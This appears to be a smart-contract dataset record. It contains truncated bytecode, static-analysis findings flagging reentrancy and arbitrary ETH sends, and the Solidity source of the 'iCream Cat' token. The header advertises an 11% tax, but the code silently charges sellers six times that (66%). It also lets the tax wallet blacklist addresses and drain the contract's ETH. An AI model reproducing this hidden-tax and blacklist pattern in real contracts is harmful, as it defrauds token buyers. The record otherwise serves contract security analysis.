02f157600080fd5b5061014e610c04565b34801561030657600080fd5b506101fa610315366004611a6c565b610c31565b34801561032657600080fd5b5061014e610c53565b34801561033b57600080fd5b506000546001600160a01b031661025c565b34801561035957600080fd5b5060408051808201909152600581526459554d4d5960d81b602082015261019e565b34801561038757600080fd5b506101d4610396366004611b1c565b610cc7565b3480156103a757600080fd5b5061014e610cd4565b3480156103bc57600080fd5b5061014e6103cb366004611c46565b610d0a565b3480156103dc57600080fd5b506101fa6103eb366004611aa4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104495760405162461bcd60e51b815260040161044090611d56565b60405180910390fd5b60005b81518110156104bf576001600a600084848151811061047b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b781611e35565b91505061044c565b5050565b600c546001600160a01b031633146105165760405162461bcd60e51b815260206004820152601660248201527513db9b1e4819195c1b1bde595c8818d85b8818d85b1b60521b6044820152606401610440565b478111156105595760405162461bcd60e51b815260206004820152601060248201526f195e18d95cdcda5d9948185b5bdd5b9d60821b6044820152606401610440565b600081116105965760405162461bcd60e51b815260206004820152600a60248201526906174206c6561737420360b41b6044820152606401610440565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156105fb57600080fd5b505afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611a88565b8160008151811061065457634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061069657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e54604051637ff36ab560e01b8152911690637ff36ab59084906106fc9060009086907f000000000000000000000000000000000000000000000000000000000000dead904290600401611cce565b6000604051808303818588803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b50505050505050565b600061073f338484610ddb565b5060015b92915050565b6000610756848484610eff565b6107a884336107a385604051806060016040528060288152602001611ea0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611311565b610ddb565b5060019392505050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b815260040161044090611d56565b600f54600160a01b900460ff16156108365760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c726561647920737461727465640000000000006044820152606401610440565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610871308266038d7ea4c68000610ddb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108aa57600080fd5b505afa1580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e29190611a88565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611a88565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e29190611a88565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610a1281610c31565b600080610a276000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac39190611c5e565b5050600f80546503a35294400060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf9190611c2a565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b815260040161044090611d56565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161044090611d56565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b031614610c2457600080fd5b47610c2e8161134b565b50565b6001600160a01b03811660009081526002602052604081205461074390611392565b6000546001600160a01b03163314610c7d5760405162461bcd60e51b815260040161044090611d56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061073f338484610eff565b600d546001600160a01b0316336001600160a01b031614610cf457600080fd5b6000610cff30610c31565b9050610c2e81611416565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161044090611d56565b60008111610d845760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610440565b610da06064610d9a66038d7ea4c68000846115bb565b9061163a565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610e3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610440565b6001600160a01b038216610e9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610440565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610440565b6001600160a01b038216610fc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610440565b600081116110275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610440565b6000546001600160a01b0384811691161480159061105357506000546001600160a01b03838116911614155b156112b457600f54600160b81b900460ff161561113a576001600160a01b038316301480159061108c57506001600160a01b0382163014155b80156110a65750600e546001600160a01b03848116911614155b80156110c05750600e546001600160a01b03838116911614155b1561113a57600e546001600160a01b0316336001600160a01b031614806110fa5750600f546001600160a01b0316336001600160a01b0316145b61113a5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610440565b60105481111561114957600080fd5b6001600160a01b0383166000908152600a602052604090205460ff1615801561118b57506001600160a01b0382166000908152600a602052604090205460ff16155b61119457600080fd5b600f546001600160a01b0384811691161480156111bf5750600e546001600160a01b03838116911614155b80156111e457506001600160a01b03821660009081526005602052604090205460ff16155b80156111f95750600f54600160b81b900460ff165b15611247576001600160a01b0382166000908152600b6020526040902054421161122257600080fd5b61122d42600f611dc7565b6001600160a01b0383166000908152600b60205260409020555b600061125230610c31565b600f54909150600160a81b900460ff1615801561127d5750600f546001600160a01b03858116911614155b80156112925750600f54600160b01b900460ff165b156112b2576112a081611416565b4780156112b0576112b04761134b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112f657506001600160a01b03831660009081526005602052604090205460ff165b156112ff575060005b61130b8484848461167c565b50505050565b600081848411156113355760405162461bcd60e51b81526004016104409190611d03565b5060006113428486611e1e565b95945050505050565b600d546001600160a01b03166108fc61136a600a610d9a8560086115bb565b6040518115909202916000818181858888f193505050501580156104bf573d6000803e3d6000fd5b60006006548211156113f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610440565b60006114036116a8565b905061140f838261163a565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114c057600080fd5b505afa1580156114d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f89190611a88565b8160018151811061151957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461153f9130911684610ddb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611578908590600090869030904290600401611d8b565b600060405180830381600087803b15801561159257600080fd5b505af11580156115a6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826115ca57506000610743565b60006115d68385611dff565b9050826115e38583611ddf565b1461140f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610440565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cb565b80611689576116896116f9565b61169484848461171c565b8061130b5761130b6005600855600a600955565b60008060006116b5611813565b90925090506116c4828261163a565b9250505090565b600081836116ec5760405162461bcd60e51b81526004016104409190611d03565b5060006113428486611ddf565b6008541580156117095750600954155b1561171057565b60006008819055600955565b60008060008060008061172e87611851565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061176090876118ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461178f90866118f0565b6001600160a01b0389166000908152600260205260409020556117b18161194f565b6117bb8483611999565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161180091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061182d828261163a565b8210156118485750506006549266038d7ea4c6800092509050565b90939092509050565b600080600080600080600080600061186e8a6008546009546119bd565b925092509250600061187e6116a8565b905060008060006118918e878787611a0c565b919e509c509a509598509396509194505050505091939550919395565b600061140f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611311565b6000806118fd8385611dc7565b90508381101561140f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610440565b60006119596116a8565b9050600061196783836115bb565b3060009081526002602052604090205490915061198490826118f0565b30600090815260026020526040902055505050565b6006546119a690836118ae565b6006556007546119b690826118f0565b6007555050565b60008080806119d16064610d9a89896115bb565b905060006119e46064610d9a8a896115bb565b905060006119fc826119f68b866118ae565b906118ae565b9992985090965090945050505050565b6000808080611a1b88866115bb565b90506000611a2988876115bb565b90506000611a3788886115bb565b90506000611a49826119f686866118ae565b939b939a50919850919650505050505050565b8035611a6781611e7c565b919050565b600060208284031215611a7d578081fd5b813561140f81611e7c565b600060208284031215611a99578081fd5b815161140f81611e7c565b60008060408385031215611ab6578081fd5b8235611ac181611e7c565b91506020830135611ad181611e7c565b809150509250929050565b600080600060608486031215611af0578081fd5b8335611afb81611e7c565b92506020840135611b0b81611e7c565b929592945050506040919091013590565b60008060408385031215611b2e578182fd5b8235611b3981611e7c565b946020939093013593505050565b60006020808385031215611b59578182fd5b823567ffffffffffffffff80821115611b70578384fd5b818501915085601f830112611b83578384fd5b813581811115611b9557611b95611e66565b8060051b604051601f19603f83011681018181108582111715611bba57611bba611e66565b604052828152858101935084860182860187018a1015611bd8578788fd5b8795505b83861015611c0157611bed81611a5c565b855260019590950194938601938601611bdc565b5098975050505050505050565b600060208284031215611c1f578081fd5b813561140f81611e91565b600060208284031215611c3b578081fd5b815161140f81611e91565b600060208284031215611c57578081fd5b5035919050565b600080600060608486031215611c72578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b83811015611cc35781516001600160a01b031687529582019590820190600101611c9e565b509495945050505050565b848152608060208201526000611ce76080830186611c8b565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b81811015611d2f57858101830151858201604001528201611d13565b81811115611d405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a060408201526000611daa60a0830186611c8b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611dda57611dda611e50565b500190565b600082611dfa57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1957611e19611e50565b500290565b600082821015611e3057611e30611e50565b500390565b6000600019821415611e4957611e49611e50565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c2e57600080fd5b8015158114610c2e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205174189622385d8e6ce2dea5deecd8cafb4395618c409f89ab62be97ef2ce1a864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,060 |
0xb14fcc72ae84b5342be69fa4e06333e2bb864d54
|
/**
iCream Cat
Symbol: CREAM
Transaction Tax : 11%
-4% Marketing
-4% Team
-2% Contests
-1% Redistribution
Initial Liquidity Pool: 5 ETH
Max Buy: 1,000,000
Lock Period: 60 days
Total Supply: 100,000,000
Website: https://icreamcat.fun
Twitter: https://twitter.com/iCreamCatFun
Telegram: https://t.me/iCreamCat
Chart: https://www.dextools.io/app/ether/pair-explorer/0xd569327091a097435599bd7686522fb76cec729d
**/
pragma solidity ^0.8.11;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=11;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="CREAM";
string constant TOKEN_NAME="iCream Cat";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ICREAMCAT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _maxWallet= TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 tax=_taxFee;
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair) {
require(balanceOf(to) + amount < _maxWallet, "Balance exceeded wallet size");
}else if(_swapEnabled){
tax=_taxFee*6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:tax);
}
function addToWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public onlyTaxCollector {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyTaxCollector {
bots[notbot] = false;
}
function createUniswapPair() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyTaxCollector{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101385760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610376578063bfd7928414610396578063d49b55d6146103c6578063dd62ed3e146103db578063e43252d714610421578063e8078d941461044157600080fd5b8063715018a6146102cb5780638ab1d681146102e05780638da5cb5b1461030057806395d89b41146103285780639e752b951461035657600080fd5b8063313ce567116100fd578063313ce5671461021a5780633d8705ab146102365780633e07ce5b1461024b5780634a131672146102605780636b9990531461027557806370a082311461029557600080fd5b8062b8cf2a1461014457806306fdde0314610166578063095ea7b3146101ab57806318160ddd146101db57806323b872dd146101fa57600080fd5b3661013f57005b600080fd5b34801561015057600080fd5b5061016461015f3660046114eb565b610456565b005b34801561017257600080fd5b5060408051808201909152600a8152691a50dc99585b4810d85d60b21b60208201525b6040516101a291906115b0565b60405180910390f35b3480156101b757600080fd5b506101cb6101c6366004611605565b6104d9565b60405190151581526020016101a2565b3480156101e757600080fd5b506006545b6040519081526020016101a2565b34801561020657600080fd5b506101cb610215366004611631565b6104f0565b34801561022657600080fd5b50604051600681526020016101a2565b34801561024257600080fd5b50610164610559565b34801561025757600080fd5b5061016461057d565b34801561026c57600080fd5b5061016461059c565b34801561028157600080fd5b50610164610290366004611672565b610828565b3480156102a157600080fd5b506101ec6102b0366004611672565b6001600160a01b031660009081526002602052604090205490565b3480156102d757600080fd5b50610164610860565b3480156102ec57600080fd5b506101646102fb366004611672565b610904565b34801561030c57600080fd5b506000546040516001600160a01b0390911681526020016101a2565b34801561033457600080fd5b50604080518082019091526005815264435245414d60d81b6020820152610195565b34801561036257600080fd5b5061016461037136600461168f565b61093c565b34801561038257600080fd5b506101cb610391366004611605565b610965565b3480156103a257600080fd5b506101cb6103b1366004611672565b60056020526000908152604090205460ff1681565b3480156103d257600080fd5b50610164610972565b3480156103e757600080fd5b506101ec6103f63660046116a8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561042d57600080fd5b5061016461043c366004611672565b6109a2565b34801561044d57600080fd5b506101646109dd565b6009546001600160a01b0316331461046d57600080fd5b60005b81518110156104d557600160056000848481518110610491576104916116e1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104cd8161170d565b915050610470565b5050565b60006104e6338484610b2d565b5060015b92915050565b60006104fd848484610c51565b61054f843361054a85604051806060016040528060288152602001611877602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611070565b610b2d565b5060019392505050565b6009546001600160a01b0316331461057057600080fd5b4761057a816110aa565b50565b6009546001600160a01b0316331461059457600080fd5b600654600a55565b6009546001600160a01b031633146105b357600080fd5b600c54600160a01b900460ff16156106125760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5460065461062f9130916001600160a01b0390911690610b2d565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611728565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610708573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072c9190611728565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610779573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079d9190611728565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610804573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057a9190611745565b6009546001600160a01b0316331461083f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610609565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461091b57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6009546001600160a01b0316331461095357600080fd5b600b811061096057600080fd5b600855565b60006104e6338484610c51565b6009546001600160a01b0316331461098957600080fd5b3060009081526002602052604090205461057a816110e4565b6009546001600160a01b031633146109b957600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6009546001600160a01b031633146109f457600080fd5b600b546001600160a01b031663f305d7194730610a26816001600160a01b031660009081526002602052604090205490565b600080610a3b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac89190611767565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610b2683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125e565b9392505050565b6001600160a01b038316610b8f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610609565b6001600160a01b038216610bf05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610609565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610609565b6001600160a01b038216610d175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610609565b60008111610d795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610609565b6008546000546001600160a01b03858116911614801590610da857506000546001600160a01b03848116911614155b1561101057600c546001600160a01b038581169116148015610dd85750600b546001600160a01b03848116911614155b8015610dfd57506001600160a01b03831660009081526004602052604090205460ff16155b15610e5357600a548210610e535760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610609565b6001600160a01b03841660009081526005602052604090205460ff16158015610e9557506001600160a01b03831660009081526005602052604090205460ff16155b610ee15760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c697374656400000000006044820152606401610609565b600c546001600160a01b03848116911614610f755760075482610f19856001600160a01b031660009081526002602052604090205490565b610f239190611795565b10610f705760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610609565b610f98565b600c54600160b01b900460ff1615610f9857600854610f959060066117ad565b90505b30600090815260026020526040902054600c54600160a81b900460ff16158015610fd05750600c546001600160a01b03868116911614155b8015610fe55750600c54600160b01b900460ff165b1561100e57610ff3816110e4565b47670de0b6b3a7640000811061100c5761100c476110aa565b505b505b6001600160a01b03831660009081526004602052604090205461106a9085908590859060ff168061105957506001600160a01b03881660009081526004602052604090205460ff165b611063578461128c565b600061128c565b50505050565b600081848411156110945760405162461bcd60e51b815260040161060991906115b0565b5060006110a184866117cc565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104d5573d6000803e3d6000fd5b600c805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112c5761112c6116e1565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611185573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a99190611728565b816001815181106111bc576111bc6116e1565b6001600160a01b039283166020918202929092010152600b546111e29130911684610b2d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121b9085906000908690309042906004016117e3565b600060405180830381600087803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000818361127f5760405162461bcd60e51b815260040161060991906115b0565b5060006110a18486611854565b60006112a3606461129d8585611390565b90610ae4565b905060006112b1848361140f565b6001600160a01b0387166000908152600260205260409020549091506112d7908561140f565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546113069082611451565b6001600160a01b0386166000908152600260205260408082209290925530815220546113329083611451565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fd